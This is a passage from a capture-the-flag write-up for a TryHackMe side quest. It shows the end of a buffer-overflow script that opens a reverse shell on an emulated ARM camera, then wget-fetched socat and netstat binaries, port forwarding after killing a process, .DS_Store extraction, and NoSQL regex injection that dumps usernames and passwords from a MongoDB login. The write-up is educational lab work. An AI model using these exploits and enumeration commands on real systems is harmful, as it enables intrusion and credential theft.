s.send(b'GET /en/login.asp?basic=' + buffer + b' HTTP/1.0\r\n\r\n')
 
nc = listen(LPORT)
nc.wait_for_connection()
nc.interactive()
s.close()
nc.close()

After executing the script, we actually get a reverse shell. This has saved us a lot of work. I still recommend that you read the article https://no-sec.net/arm-x-challenge-breaking-the-webs/ and try it yourself if necessary. I have it on my todo list.

At first glance, we can't do much except look around.

We seem to be root, at least we can browse his home directory.

Since there is not much we can do, we have no choice but to go through all the directories manually. And we find credentials in /var/etc/umconfig.txt. It could be the credentials for the login to the camera interface. This was a lucky find, but the file could also have been found in /.emux.

We click on Enter and provide the credentials admin:[READACTED].

After we have entered the access data, we get a glimpse of Frosteau's office with the first flag underneath.

What is the content of the yetikey2.txt file?

After l4m3r8 pointed out that the path shown is not the intended one, I extended the writeup with the intended one, after redoing the stuff again. So IP addresses may differ.

We have to continue with our established reverse shell!

This is the intended path

On the machine itself, we can see that when we call the page on port 8080, we get a different response code than before, 401 instead of 403. It is possible that we can successfully attack the endpoint from here

So now we have to forward the port so that we can make it available to our attacker machine.

Unfortunately, socat is not present on the machine, and we already know that it is an ARM-emulated machine. This can be confirmed by /proc/cpuinfo. So we need an arm static binary from socat.

Here we can find some useful binaries:

We provide them through a Python web server. And can bring them to the machine by having wget on the target machine.

The first attempt was the Quiet Port Forwarding method. Unfortunately, this was unstable and always led to disconnections. Scripts, Gobuster, or normal surfing could not be carried out.

Instead, we use the loud method Port Forwarding (from Remote Machine) and open a port on the machine. However, we realize that this is only available locally and we cannot access it from outside.

But we know that an endpoint will be forwarded in any case. 50628 is it. So the idea is to find out which process is serving 50628 and kill it. Then we assign the port with our port forwarding.

Netstat is unfortunately not on the machine either, but no problem, we also get it as a static arm binary:

Run ./netstat-armel-static -tulpen to get the process ID of the application running on 50628.

We see webs is running the on port 50628.

After we have killed the process of webs, we notice that it is created again directly. So we have to be quick.

We chain the commands together to immediately forward the port after killing the process webs, which occupies port 50628.

Kill the process and forward 10.10.1.201:8080 on 50628 instead:

kill 11097; ./socat-armel-static tcp-listen:50628,fork,reuseaddr tcp:10.10.1.201:8080

From here we can continue the enumeration and exploitation on 50628 instead of 8080!

Unintended Portion

The path shown here refers to the endpoint on port 8080. That we can extract and exploit the necessary information here is an unintended path and will probably be patched.

The exploit itself and the process remain the same, you can follow this section along. Only the intended path focuses on the forwarded port 50268 instead of 8080. From there, we have to do all the stuff described below. So, if you see 10.10.19.234:8080 in the screenshot, replace that with your TARGET_IP:50628. This assumes that you were able to forward the port correctly.

The following reconnaissance section was originally part of the reconnaissance section of the report relating to Port 8080. The steps shown can be replicated on port 50628.

First, we visit the endpoint on port 8080. We are greeted by McSkidys grumpy face with a HTTP 403.

We hit up Gobuster to enumerate possible directories. We are not able to spot a lot. But there is a /vendor directory, that results in a redirection to /vendor/, interesting.

We extend our scan to include file endings like .php, but immediately get 403s responses. Looks like everything in the list gets a 403.

Ok, let's use nikto, maybe we are able to spot some vulnerabilities with it. There are two interesting ones. First, we see that we retrieve a x-powered-by header and a PHPSESSID cookie on /index.php/123. Secondly, there are .DS_Store files.

Let's stay in order and check the finding on index.php/123. There seems to be a misconfiguration, that trailing slashes to a .php resolve to a page. Nice, we got /login.php/, /index.php/ and /logout.php/.

Ok, let's look at the .DS_Store files now.

.DS_Store files are a macOS system file that stores custom attributes of a folder, such as the position of icons or the choice of a background image.

Nikto suggests that we can extract even more information here: /.DS_Store: Apache on Mac OSX will serve the .DS_Store file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version.

The webpage https://miloserdov.org/?p=3867 provides a detailed description of the process for exploiting .DS_Store files.

To retrieve all .DS_Store files, we use the ds_store_exp; then, employ python_dsstoreto read and analyze the contents of these files.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/sidequest/quest2]
└─$ git clone https://github.com/lijiejie/ds_store_exp
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/sidequest/quest2]
└─$ cd ds_store_exp
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/sidequest/quest2]
└─$ sudo pip install -r requirements.txt

We get a .DS_Store from the root directory and from the vendor directory.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/sidequest/quest2]
└─$ git clone https://github.com/gehaxelt/Python-dsstore.git

Nice, we find some dependencies that could have been installed, including mongodb.

I hope you can follow along with the after edit writeup, I hope I can manage to update it soon.

Voice from the off "Let's go to the forwarded page hosted on port 50628. "

Let's go back to the page hosted on port 8080. We have already been able to find out a lot in our Recon. The pages index.php and login.php are accessible with a trailing slash. Mongodb seems to be running on the server. Since we do not have access to any resources and can probably only get access via a successful login, we first visit the login page.

Let's check whether NoSQL-injection is possible. To do this, we use Burp Suite, intercept the login request and continue our attack in the repeater. Here we edit the parameters as presented in hacktricks.

With invalid credentials, we do not get access.

In PHP, you can send an Array, changing the sent parameter from parameter=foo to parameter [arrName]=foo. So we make use of $regex to match to everything in the database. This time we see that we get a redirect. Unfortunately, the redirect leads us directly to login.php and not login.php/. No big deal, we now open the browser.

By visiting the index.php/ page, reveals that we successfully logged in to the user matching the regex first. We are the user Frostbite.

Ok, now we try to find all users, and check their index page, maybe one of those users has special privileges to move on or even contains the flag.

The Tedious Way

In order to get quick results and not spend a lot of time writing your own scripts, we can already find suitable scripts for this challenge on GitHub. The first thing we find is the following:

You can scroll down for the less tedious way if you want.

But the script has its weaknesses. As soon as it has a character match, it moves on and doesn't consider all possible character combinations. As a result, we can only enumerate seven users in this way. This only became apparent when all the found users did not lead to anything fruitful, and then enumerating the passwords revealed more entries. Here we have 16 passwords but only 7 users. At this point we could have stopped and taken the conspicuous password [REDACTED] and logged in with it, but at the time of the challenge we were a bit blind. We edited the script so that it checked the characters in reverse order and thus obtained other users. For users with the same character pattern as Frost, for example, we then used Burp Suite Intruder to manually enumerate all users. Then we logged us in with each of these users via Burp Repeater, copied the resulting PHPSESSID into the browser, and lo and behold Frosteau has our Yeti key.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/sidequest/quest2]
└─$ git clone https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration.git
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/sidequest/quest2]
└─$ git nosqli-user-pass-enum.py -u http://10.10.19.234:8080/login.php/ -up username -pp password -ep username -m POST
Blizzardson
Grinchowski
Frostbite
Iciclevich
Northpolinsky
Scroogestein
Tinselova

Running the script takes some time, so grab a coffee.

6Ne2HYXUovEIVOEQg2US
7yIcnHu8HC6QCH1MCfHS
advEpXUBKt3bZjk3aHLR
h1y6zpVTOwGYoB95aRnk
jlXUuZKIeCONQQIe92GZ
rCwBuLJPNzmRGExQucTC
tANd8qZ93sFHUBrJhdQj
uwx395sm4GpVfqQ4dUDI
E33v0lTuUVa1ct4sSed1
F6Ymdyzx9C1QeNOcU7FD
[REDACTED]
JZwpMOTmDvVYDq3uSb3t
NlJt6HBZBG3olEphq8gr
ROpPXouppjXNf2pmmT0Q
UZbIt6L41BmLeQJF0gAR
WmLP5OZDiLos16Ie1owB

Using the modified script in reversed order gives us the following.

Tinseltooth                                                                                                                                                        
Snownandez                                                                                                                                                         
Northpolinsky                                                                                                                                                      
Iciclevich                                                                                                                                                         
Grinchenko                                                                                                                                                         
Frostova                                                                                                                                                           
Blizzardson

Still we are missing at least 5 users, if not even more, considering we have not found all passwords yet.

Blizzardson
Frostbite
Frostova
Grinchowski
Grinchenko
Iciclevich
Northpolinsky
Scroogestein
Snownandez 
Tinselova
Tinseltooth

Next, we manually enumerate with Burp Intruder Module using a payload list from a-Z. We consider, that there are more users with the same character pattern. In simple words, there are several Frost-, Grinch-, S- and Tinsel- usernames.

After doing it manually we are able to find 17 usernames. Nice.

Blizzardson
Grinchowski
Grinchenko
Iciclevich
Northpolinsky
Scroogestein
Snownandez 
Snowballer
Snowbacca
Tinselova
Tinseltooth
Frostbite
Frosteau
Frostington
Frostova
Sleighburn
Slushinski

We’ll try them all in Burp Repeater.

And use the resulting PHPSESSID to access the /index.php/ page via the browser. Fortunately, Frosteau holds the important Yeti key.

The Less Tedious Way

Thanks to the possibility of using NoSQL-injection enumeration, we are not only able to log in with any user we know, but also with any password without knowing the users. We log in with the user whose password matches, so to speak. From the enumerated passwords with the script, one stands out in particular.

Command to gather most passwords:

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/sidequest/quest2]
└─$ git nosqli-user-pass-enum.py -u http://10.10.19.234:8080/login.php/ -up username -pp password -ep password -m POST
6Ne2HYXUovEIVOEQg2US
7yIcnHu8HC6QCH1MCfHS
advEpXUBKt3bZjk3aHLR
h1y6zpVTOwGYoB95aRnk
jlXUuZKIeCONQQIe92GZ
rCwBuLJPNzmRGExQucTC
tANd8qZ93sFHUBrJhdQj
uwx395sm4GpVfqQ4dUDI
E33v0lTuUVa1ct4sSed1
F6Ymdyzx9C1QeNOcU7FD
[REDACTED]
JZwpMOTmDvVYDq3uSb3t
NlJt6HBZBG3olEphq8gr
ROpPXouppjXNf2pmmT0Q
UZbIt6L41BmLeQJF0gAR
WmLP5OZDiLos16Ie1owB

We can log in with this password.

When we transfer the PHPSESSID and call up the /index.php/ page, we see that it was Frosteau's password. We are logged in as this user and have access to his dashboard, which contains the yetikey2.txt.

Credits To My Team

Check out Sumanroy's writeups: https://sumanroy.gitbook.io/ctf-writeups/

For fully automated exploits created by my teammates, visit their GitHub profiles:

Last updated